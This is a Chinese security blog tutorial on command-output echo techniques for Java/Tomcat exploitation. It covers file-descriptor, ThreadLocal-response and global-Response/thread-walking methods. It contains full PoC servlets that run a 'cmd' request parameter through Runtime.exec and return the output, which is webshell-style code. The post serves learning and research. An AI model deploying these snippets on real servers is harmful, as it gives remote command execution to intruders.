Java 回显技术
Drunkbaby Lv6

Java 回显技术

Java 回显技术学习

博客崩了,导致之前写的这篇文章也无了。。。人麻了

0x01 前言

因为最近正在学习 Java 内存马相对应的一些知识,写这篇文章是为了让自己更好的学习 Java 内存马的一些回显技术

0x02 通过文件描述符回显

是对 /proc/self/fd/i 的攻击拓展,真玄学啊,这也能打……

分析

在 Linux 环境下,可以通过文件描述符 /proc/self/fd/i 获取到网络连接,在 Java 中我们可以直接通过文件描述符获取到一个 Stream 对象,对当前网络连接进行读写操作,可以釜底抽薪在根源上解决回显问题。简单来讲就是利用 Linux 文件描述符实现漏洞回显。

从理论上讲如果获取到了当前请求对应进程的文件描述符,如果输出描述符中写入内容,那么就会在回显中显示,从原理上是可行的,但在这个过程中主要有一个问题需要解决:如何获得本次请求的文件描述符

解决这个问题就要思考在一次连接请求过程中有什么特殊的东西可通过代码识别出来,从而筛选出对应的请求信息。那么这个特殊的标识应该就是,客户端的访问ip地址了。

/proc/net/tcp6 文件中存储了大量的连接请求

其中 local_address 是服务端的地址和连接端口,remote_address 是远程机器的地址和端口(客户端也在此记录),因此我们可以通过 remote_address 字段筛选出需要的 inode 号。这里的 inode 号会在 /proc/xx/fd/ 中的 socket 一一对应

去到 proc/{进程号}/fd 文件夹下,执行 ll 命令

有了这个对应关系,我们就可以在 /proc/xx/fd/ 目录中筛选出对应inode号的socket,从而获取了文件描述符。整体思路如下

  1. 通过 client ip 在 /proc/net/tcp6 文件中筛选出对应的 inode 号(也有可能是 /proc/net/tcp 文件)
  2. 通过 inode 号在 /proc/self/fd/ 中筛选出fd号
  3. 创建 FileDescriptor 对象
  4. 执行命令并向 FileDescriptor 对象输出命令执行结果

0x03 Kingkk 师傅提出的 “Tomcat中一种半通用回显方法”

在 Java 代码执行的时候如果能获取到 response 对象,则可以直接向 response 对象中写入命令执行的结果实现回显。因此这里的目的就是寻找一个能够利用的 response 对象,思路如下:

  1. 通过翻阅函数调用栈寻找存储 response 的类
  2. 最好是个静态变量,这样不需要获取对应的实例,毕竟获取对象还是挺麻烦的
  3. 使用 ThreadLocal 保存的变量,在获取的时候更加方便,不会有什么错误
  4. 修复原有输出,通过分析源码找到问题所在

分析

寻找并获取response

首先是确定当前我们取到的一个 response 对象是 tomcat 的 response,我们顺着堆栈一直往回找。

找到HTTP请求的入口那里发现request和response几乎就是一路传递的,并且在内存中都是同一个变量(变量toString最后的数字就是当前变量的部分哈希)

这样,就没有问题,只要我们能获取到这些堆栈中,任何一个类的response实例即可。

按照上述的思路找到了保存在ApplicationFilterChain对象中的静态且是ThreadLocal保存的的Response类型属性lastServicedResponse

但是这里的静态代码块在初始化的时候已经把lastServicedResponse的值设置为null,然后后面在internalDoFilter方法里面还有一个将当前的resquest和response对象赋值给lastServicedRequest和lastServicedResponse对象的操作,但是还是需要ApplicationDispatcher.WRAP_SAME_OBJECT 的值为true。

因此这里有需要进行两个操作:

  • 反射修改ApplicationDispatcher.WRAP_SAME_OBJECT的值为ture,让代码逻辑走到if条件里面
  • 初始化lastServicedRequest和lastServicedResponse两个变量为ThreadLocal类型(静态代码在初始化时默认为null)

getWriter重复使用报错

在使用response的getWriter函数时,usingWriter 变量就会被设置为true。如果在一次请求中usingWriter变为了true那么在这次请求之后的结果输出时就会报错

报错内容如下,getWriter已经被调用过一次

1
java.lang.IllegalStateException: getWriter() has already been called for this response

这时候有两种解决办法:

  • 在调用完一次getWriter反射修改usingWriter的值为false
  • 使用getOutputStream代替

小结

总体原理为:通过反射修改控制变量,来改变Tomcat处理请求时的流程,使得Tomcat处理请求时便将request, response对象存入ThreadLocal中,最后在反序列化的时候便可以利用ThreadLocal来取出response

具体实施步骤为:

  1. 使用反射把ApplicationDispathcer.WRAP_SAME_OBJECT变量修改为true
  2. 使用反射初始化ApplicationDispathcer中的lastServicedResponse变量为ThreadLocal
  3. 使用反射从lastServicedResponse变量中获取tomcat response变量
  4. 使用反射将usingWriter属性修改为false修复输出报错

实现

  • ApplicationDispathcer.WRAP_SAME_OBJECT变量修改为true

通过上面的需求,编写对应的代码进行实现,需要提前说明的是WRAP_SAME_OBJECT、lastServicedRequest、lastServicedResponse为static final变量,而且后两者为私有变量,因此需要modifiersField的处理将final属性取消掉。

1
2
3
4
5
6
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");//获取WRAP_SAME_OBJECT字段
Field modifiersField = Field.class.getDeclaredField("modifiers");//获取modifiers字段
modifiersField.setAccessible(true);//将变量设置为可访问
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);//取消FINAL属性
WRAP_SAME_OBJECT_FIELD.setAccessible(true); //将变量设置为可访问
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true); //将变量设置为true
  • 初始化ApplicationDispathcer中的lastServicedResponse变量为ThreadLocal

这里需要把lastServicedResponse和lastServiceRequest都进行设置,因为如果这两个其中之一的变量为初始化就会在set的地方报错。

这里仅仅实现了如何初始化lastServicedRequest和lastServicedResponse这两个变量为ThreadLocal。在实际实现过程中需要添加判断,如果lastServicedRequest存储的值不是null那么就不要进行初始化操作。

  • 从lastServicedResponse变量中获取tomcat response变量

从上面代码中的lastServicedResponseField直接获取lastServicedResponse变量,因为这时的lastServicedResponse变量为ThreadLocal变量,可以直接通过get方法获取其中存储的变量。

1
2
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null); //获取lastServicedResponse变量
ServletResponse responseFacade = lastServicedResponse.get(); //获取lastServicedResponse中存储的变量
  • 修复输出报错

可以在调用getWriter函数之后,通过反射修改usingWriter变量值。

1
2
3
4
5
6
Field responseField = ResponseFacade.class.getDeclaredField("response");//获取response字段
responseField.setAccessible(true);//将变量设置为可访问
Response response = (Response) responseField.get(responseFacade);//获取变量
Field usingWriter = Response.class.getDeclaredField("usingWriter");//获取usingWriter字段
usingWriter.setAccessible(true);//将变量设置为可访问
usingWriter.set((Object) response, Boolean.FALSE);//设置usingWriter为false
  • PoC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
package com.example.TomcatHalfEcho.Controller;  


import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.ApplicationFilterChain;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;


import javax.servlet.ServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.nio.charset.StandardCharsets;
import java.util.Scanner;


// Kingkk 师傅提出来的 Tomcat 半通用回显
@Controller
public class EvilController {

@RequestMapping("/index")
@ResponseBody
public String IndexController(String cmd) throws IOException {
try {
// ApplicationDispatcher.WRAP_SAME_OBJECT变量修改为true
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");//获取WRAP_SAME_OBJECT字段
Field modifiersField = Field.class.getDeclaredField("modifiers");//获取modifiers字段
modifiersField.setAccessible(true);//将变量设置为可访问
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);//取消FINAL属性
WRAP_SAME_OBJECT_FIELD.setAccessible(true);//将变量设置为可访问
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);//将变量设置为true

// 用反射设置ApplicationDispathcer中的lastServicedResponse变量为修改访问
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");//获取lastServicedRequest变量
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");//获取lastServicedResponse变量
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);//取消FINAL属性
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);//取消FINAL属性
lastServicedRequestField.setAccessible(true);//将变量设置为可访问
lastServicedResponseField.setAccessible(true);//将变量设置为可访问

ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null); //获取lastServicedResponse变量

// 如果此时 lastServicedResponse 对象为null,则进行初始化为ThreadLocal对象
if (lastServicedResponse == null) {
lastServicedRequestField.set(null, new ThreadLocal<>());//设置ThreadLocal对象
lastServicedResponseField.set(null, new ThreadLocal<>());//设置ThreadLocal对象
} else if (cmd != null) {
// 否则则获取lastServicedResponse中的response对象,并执行命令将执行结果输入到response中
ServletResponse responseFacade = lastServicedResponse.get(); //获取lastServicedResponse中存储的变量

String res = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();

// 方法一:使用 outputStream.write() 方法输出
// responseFacade.getOutputStream().write(res.getBytes(StandardCharsets.UTF_8));
// responseFacade.flushBuffer();
// 方法二:使用 writer.writeA() 方法输出
PrintWriter writer = responseFacade.getWriter(); // 获取writer对象

Field responseField = ResponseFacade.class.getDeclaredField("response");//获取response字段
responseField.setAccessible(true);//将变量设置为可访问
Response response = (Response) responseField.get(responseFacade);//获取变量
Field usingWriter = Response.class.getDeclaredField("usingWriter");//获取usingWriter字段
usingWriter.setAccessible(true);//将变量设置为可访问
usingWriter.set((Object) response, Boolean.FALSE);//设置usingWriter为false

writer.write(res);
writer.flush();
}
}catch (Exception e) {
e.printStackTrace();
}

return "test";

}
}

需要访问2次,第一次为设置ApplicationDispathcer.WRAP_SAME_OBJECT变量为true以及为lastServicedResponse对象进行初始化为ThreadLocal对象;第二次才是从lastServicedResponse对象中取出response对象进行操作。

不足

通过完整的学习这个回显方式,可以很明显的发现这个弊端,如果漏洞在ApplicationFilterChain获取回显Response代码之前,那么就无法获取到Tomcat Response进行回显。

其中Shiro RememberMe反序列化漏洞就遇到了这种情况,shiro的rememberMe功能,其实是shiro自己实现的一个filter。

在org.apache.catalina.core.ApplicationFilterChain的internalDoFilter方法中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
try {
Filter filter = filterConfig.getFilter();
...
filter.doFilter(request, response, this);//Shiro漏洞触发点
} catch (...)
...
}
}
try {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);//Tomcat回显关键点
}
if (...){
...
} else {
servlet.service(request, response);//servlet调用点
}
} catch (...) {
...
} finally {
...
}

可以看到是先取出所有的的filter对当前请求进行拦截,通过之后,再进行cache request(即lastServicedResponse.set(response)方法),再从servlet.service(request, response) 进入servlet调用的逻辑代码。

rememberMe功能就是ShiroFilter的一个模块,这样的话在这部分逻辑中执行的代码,还没进入到cache request的操作中,此时的cache内容就是空,从而也就获取不到我们想要的response。

0x04 通过全局存储 Response回显

上面通过ThreadLocal获取response的方式实际上是通过反射修改属性改变了Tomcat处理的部分流程,使得最终可以在ApplicationFilterChain类的lastServicedResponseField对象中去取到response对象。但是不足也说了,这种方式实际上依赖Tomcat本身的一些代码处理流程,在遇到注入点在流程之前就无法利用了。

而现在这种方法是不再寻求改变代码流程,而是找找有没有Tomcat全局存储的request或response

分析

寻找全局的Response

我们之前在分析Servlet内存马的时候大致了解过Tomcat处理HTTP请求的时候流程入口在 org.apache.coyote.http11.Http11Processor 类中,该类继承了 AbstractProcessor。

到AbstractProcessor类中看一下:

可以看到Request以及Response就是AbstractProcessor的属性。而且这两个属性都是final类型的,也就是说其在赋值之后,对于对象的引用是不会改变的,那么我们只要能够获取到这个Http11Processor就肯定可以拿到Request和Response

但是这里的resquest和response并不是静态变量,无法直接从类里面去取出来,需要从对象里面取。这时候我们就需要去找存储Http11Processor或者Http11Processor request、response的变量。所以继续往上翻,在AbstractProtcol内部类ConnectionHandler的register方法中存在着对Http11Processor的操作

跟进register方法中,可以看到rp为从Http11Processor对象中取到的RequestInfo对象,其中包含了request对象,然而request对象包含了response对象

获取完RequestInfo对象后调用了rp.setGlobalProcessor(global)方法,跟进:

可以看到这里把RequestInfo对象注册到了global中,这个global是AbstractProtcol内部类ConnectionHandler的一个属性

因此如果获取到了global对象就可以取到里面的response对象了。现在的获取链变为了

1
AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response

但global对象还不是静态变量,因此我们还是需要找存储AbstractProtocol类或AbstractProtocol子类。

在调用栈中存在CoyoteAdapter类,其中的connector对象protocolHandler属性为Http11NioProtocol,Http11NioProtocol的handler就是AbstractProtocol$ConnectoinHandler。

1
connector --> protocolHandler --> handler --> AbstractProtocol$ConnectoinHandler --> global-->RequestInfo --> req --> response

如何获取connector对象就成为了问题所在,Tomcat启动过程中会创建connector对象,并通过addConnector方法存放在connectors中

跟进addConnector方法,可以看到到了StandardService类里面

从方法注释中可以看到,addConnector方法的操作为将传进来的connector对象放到StandardService对象的 connectors[] 数组中

那么现在的获取链变成了

1
StandardService --> connectors --> connector --> protocolHandler --> handler --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response

connectors同样为非静态属性,那么我们就需要获取在Tomcat中已经存在的StandardService对象,而不是新创建的对象。

关键步骤

如何获取

如何获取当前的StandardService对象呢?这时候回顾Tomcat的架构

发现Service已经是最外层的对象了,再往外就涉及到了Tomcat类加载机制。Tomcat的类加载机制并不是传统的双亲委派机制,因为传统的双亲委派机制并不适用于多个Web App的情况。

假设WebApp A依赖了common-collection 3.1,而WebApp B依赖了common-collection 3.2 这样在加载的时候由于全限定名相同,不能同时加载,所以必须对各个webapp进行隔离,如果使用双亲委派机制,那么在加载一个类的时候会先去他的父加载器加载,这样就无法实现隔离,tomcat隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器。这个定制的ClassLoader就是WebappClassLoader。

Tomcat加载机制简单讲,WebAppClassLoader负责加载本身的目录下的class文件,加载不到时再交给CommonClassLoader加载,这和双亲委派刚好相反。

在SpringBoot项目中调试看下Thread.currentThread().getContextClassLoader() 中的内容

WebappClassLoader里面确实包含了很多很多关于tomcat相关的变量,其中service变量就是要找的StandardService对象。那么至此整个调用链就有了入口点

1
WebappClassLoader --> resources --> context --> context --> StandardService --> connectors --> connector --> protocolHandler --> handler --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response

因为这个调用链中一些变量有 get 方法因此可以通过 get 函数很方便的执行调用链,对于那些私有保护属性的变量我们只能采用反射的方式动态的获取。

实现

  • 获取Tomcat ClassLoader context

这里针对不同的Tomcat版本获取的方式不同,Tomcat 8或9的低版本(这里我用的是8.5.21)可以直接从webappClassLoaderBase.getResources().getContext() 获取:

1
2
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

但是在高版本的话 webappClassLoaderBase.getResources() 返回的是null,无法获取(解决方案看后文)

  • 获取standardContext的context

因为context不是final变量,因此可以省去一些反射修改操作

1
2
Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");context.setAccessible(true);//将变量设置为可访问
org.apache.catalina.core.ApplicationContext ApplicationContext = (org.apache.catalina.core.ApplicationContext)context.get(standardContext);
  • 获取ApplicationContext的service
1
2
Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");service.setAccessible(true); //将变量设置为可访问
StandardService standardService = (StandardService)service.get(ApplicationContext);
  • 获取StandardService的connectors
1
2
3
Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectorsField.setAccessible(true); //将变量设置为可访问
org.apache.catalina.connector.Connector[] connectors = (org.apache.catalina.connector.Connector[])connectorsField.get(standardService);
  • 获取AbstractProtocol的handler

获取到connectors之后,可以通过函数发现getProtocolHandler为public,因此我们可以通直接调用该方法的方式获取到对应的handler。

1
2
3
4
org.apache.coyote.ProtocolHandler protocolHandler = connectors[0].getProtocolHandler();
Field handlerField = org.apache.coyote.AbstractProtocol.class.getDeclaredField("handler");
handlerField.setAccessible(true);
org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);
  • 获取内部类ConnectionHandler的global

通过org.apache.coyote.AbstractProtocol$ConnectionHandler的命名方式,直接使用反射获取该内部类对应字段。

1
2
3
Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);
  • 获取RequestGroupInfo的processors

processors为List数组,其中存放的是RequestInfo

1
Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");processors.setAccessible(true);java.util.List<RequestInfo> RequestInfolist = (java.util.List<RequestInfo>) processors.get(global);
  • 获取Response,并做输出处理

遍历获取RequestInfolist中的所有requestInfo,使用反射获取每个requestInfo中的req变量,从而获取对应的response。后续就和之前一样可以通过Response.getOutputStream().write()输出;或者在getWriter后将usingWriter置为false,并调用flush进行输出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
reqField.setAccessible(true);
for (RequestInfo requestInfo : RequestInfolist) {//遍历
org.apache.coyote.Request coyoteReq = (org.apache.coyote.Request )reqField.get(requestInfo);//获取request
org.apache.catalina.connector.Request connectorRequest = ( org.apache.catalina.connector.Request)coyoteReq.getNote(1);//获取catalina.connector.Request类型的Request
org.apache.catalina.connector.Response connectorResponse = connectorRequest.getResponse();

// 从connectorRequest 中获取参数并执行
String cmd = connectorRequest.getParameter("cmd");
String res = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();

// 方法一
// connectorResponse.getOutputStream().write(res.getBytes(StandardCharsets.UTF_8));
// connectorResponse.flushBuffer();

// 方法二
java.io.Writer w = response.getWriter();//获取Writer
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
Field usingWriter = Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set(connectorResponse, Boolean.FALSE);//初始化
w.write(res);
w.flush();//刷新
}
  • PoC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
package com.example.TomcatHalfEcho.Controller;  

import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;


import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;


// 适用于 Tomcat8,获取全局 response 进行攻击

@WebServlet(urlPatterns = "/servletAttack")
public class GlobalContextAttack extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

try {
// 获取Tomcat ClassLoader context
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();

// 获取standardContext的context
Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);//将变量设置为可访问
org.apache.catalina.core.ApplicationContext ApplicationContext = (org.apache.catalina.core.ApplicationContext) context.get(standardContext);

// 获取ApplicationContext的service
Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
service.setAccessible(true);//将变量设置为可访问
StandardService standardService = (StandardService) service.get(ApplicationContext);

// 获取StandardService的connectors
Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectorsField.setAccessible(true);//将变量设置为可访问
org.apache.catalina.connector.Connector[] connectors = (org.apache.catalina.connector.Connector[]) connectorsField.get(standardService);

// 获取AbstractProtocol的handler
org.apache.coyote.ProtocolHandler protocolHandler = connectors[0].getProtocolHandler();
Field handlerField = org.apache.coyote.AbstractProtocol.class.getDeclaredField("handler");
handlerField.setAccessible(true);
org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler);

// 获取内部类ConnectionHandler的global
Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);

// 获取RequestGroupInfo的processors
Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors.setAccessible(true);
java.util.List<RequestInfo> RequestInfolist = (java.util.List<RequestInfo>) processors.get(global);

// 获取Response,并做输出处理
Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
reqField.setAccessible(true);
for (RequestInfo requestInfo : RequestInfolist) {//遍历
org.apache.coyote.Request coyoteReq = (org.apache.coyote.Request )reqField.get(requestInfo);//获取request
org.apache.catalina.connector.Request connectorRequest = ( org.apache.catalina.connector.Request)coyoteReq.getNote(1);//获取catalina.connector.Request类型的Request
org.apache.catalina.connector.Response connectorResponse = connectorRequest.getResponse();
java.io.Writer w = response.getWriter();//获取Writer
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
Field usingWriter = Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set(connectorResponse, Boolean.FALSE);//初始化
w.write("1111");
w.flush();//刷新
}

} catch (Exception e) {
e.printStackTrace();
}

}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}

Tomcat版本问题

刚才在一开始获取Tomcat ClassLoader context提到这种方式只适用于Tomcat 8和9的低版本中,那么有没有一种能通杀所有版本的方法呢?

回顾整条调用链:

1
WebappClassLoader --> resources --> context --> context --> StandardService --> connectors --> connector --> protocolHandler --> handler --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response

我们重新来思考一下我们从 Thread.currentThread().getContextClassLoader() 中获取 StandardContext到StandardService 再到获取 Connector目的是什么, 其实目的就是为了获取 AbstractProtocolConnectoinHandler,因为 request 存在该对象的 global 属性中的 processors 中,那么我们其实接下来目的就是为了找到一个地方存储这 AbstractProtocolConnectoinHandler。

发现在 org.apache.tomcat.util.net.AbstractEndpoint 的 handler 是 AbstractEndpointHandler 定义的,同时 Handler 的实现类是 AbstractProtocolConnectoinHandler。

因为 AbstractEndpoint 是抽象类,且抽象类不能被实例化,需要被子类继承,所以我们去寻找其对应的子类,找到了对应的子类我们就能获取 handler 中的 AbstractProtocol$ConnectoinHandler 从而进一步获取 request 了

这里我们来看到 NioEndpoint 类。NioEndpoint 是主要负责接受和处理 socket 的且其中实现了socket请求监听线程Acceptorsocket NIO poller线程、以及请求处理线程池。

此时有一下两种方法从Thread.currentThread().getThreadGroup() 获取的线程中遍历找出我们需要的NioEndpoint 对象。

通过Acceptor获取NioEndpoint

遍历线程,获取线程中的target属性,如果该target是Acceptor类的话则其endpoint属性就是NioEndpoint 对象。

利用链:

1
Thread.currentThread().getThreadGroup() --> theads[] --> thread --> target --> NioEndpoint$Poller --> NioEndpoint --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response

通过poller获取NioEndpoint

遍历线程,获取线程中的target属性,如果target属性是 NioEndpointPoller 类的话,通过获取其父类 NioEndpoint,进而获取到 AbstractProtocolConnectoinHandler。

利用链:

1
Thread.currentThread().getThreadGroup() --> theads[] --> thread --> target --> NioEndpoint$Poller --> NioEndpoint --> AbstractProtocol$ConnectoinHandler --> global --> RequestInfo --> req --> response

实现

上面两种方法都大同小异,以第一种为例。

  • 获取threads数组
1
2
3
4
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsField = ThreadGroup.class.getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(threadGroup);
  • 遍历每一个thread获取其target属性
1
2
3
4
for(Thread thread:threads) {
Field targetField = Thread.class.getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(thread);
  • 找到Acceptor获取其endpoint属性
1
2
3
4
if( target != null && target.getClass() == org.apache.tomcat.util.net.Acceptor.class ) {
Field endpointField = Class.forName("org.apache.tomcat.util.net.Acceptor").getDeclaredField("endpoint");
endpointField.setAccessible(true);
Object endpoint = endpointField.get(target);

这里如果是第二种方法就是找NioEndpoint$Poller对象,获取其this$0 属性

  • 获取AbstractEndpoint的handler属性
1
2
3
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(endpoint);

此时的handler就是 AbstractProtocol$ConnectoinHandler 对象了,后续和之前一样

  • PoC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
package com.example.TomcatHalfEcho.Controller;  

import org.apache.catalina.connector.Response;
import org.apache.catalina.connector.ResponseFacade;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;

import java.util.Scanner;

// 全 Tomcat 版本通用

@WebServlet("/AllTomcat")
public class AllTomcatVersionAttack extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

try {
// 获取thread数组
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsField = ThreadGroup.class.getDeclaredField("threads");
threadsField.setAccessible(true);
Thread[] threads = (Thread[])threadsField.get(threadGroup);

for(Thread thread:threads) {
Field targetField = Thread.class.getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(thread);
if( target != null && target.getClass() == org.apache.tomcat.util.net.Acceptor.class ) {
Field endpointField = Class.forName("org.apache.tomcat.util.net.Acceptor").getDeclaredField("endpoint");
endpointField.setAccessible(true);
Object endpoint = endpointField.get(target);
Field handlerField = Class.forName("org.apache.tomcat.util.net.AbstractEndpoint").getDeclaredField("handler");
handlerField.setAccessible(true);
Object handler = handlerField.get(endpoint);

// 获取内部类ConnectionHandler的global
Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);

// 获取RequestGroupInfo的processors
Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors.setAccessible(true);
java.util.List<RequestInfo> RequestInfolist = (java.util.List<RequestInfo>) processors.get(global);


// 获取Response,并做输出处理
Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
reqField.setAccessible(true);
for (RequestInfo requestInfo : RequestInfolist) {//遍历
org.apache.coyote.Request coyoteReq = (org.apache.coyote.Request) reqField.get(requestInfo);//获取request
org.apache.catalina.connector.Request connectorRequest = (org.apache.catalina.connector.Request) coyoteReq.getNote(1);//获取catalina.connector.Request类型的Request
org.apache.catalina.connector.Response connectorResponse = connectorRequest.getResponse();

// 从connectorRequest 中获取参数并执行
String cmd = connectorRequest.getParameter("cmd");
String res = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();

// 方法一
// connectorResponse.getOutputStream().write(res.getBytes(StandardCharsets.UTF_8));
// connectorResponse.flushBuffer();

// 方法二
java.io.Writer w = response.getWriter();//获取Writer
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
Field usingWriter = Response.class.getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set(connectorResponse, Boolean.FALSE);//初始化
w.write(res);
w.flush();//刷新
}
}
}

} catch (Exception e) {
e.printStackTrace();
}

}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}

不足

利用链过长,会导致http包超长,可先修改 org.apache.coyote.http11.AbstractHttp11Protocol 的maxHeaderSize的大小,这样再次发包的时候就不会有长度限制。还有就是操作复杂可能有性能问题,整体来讲该方法不受各种配置的影响,通用型较强。

0x05 小结

我个人的感觉是,这些回显技术在有成熟内存马技术之前相当有意义的,内存马和回显技术都是利用到了 Tomcat 的 reponse 的。

0x06 Ref

https://mp.weixin.qq.com/s?__biz=MzIwNDA2NDk5OQ==&mid=2651374294&idx=3&sn=82d050ca7268bdb7bcf7ff7ff293d7b3

 评论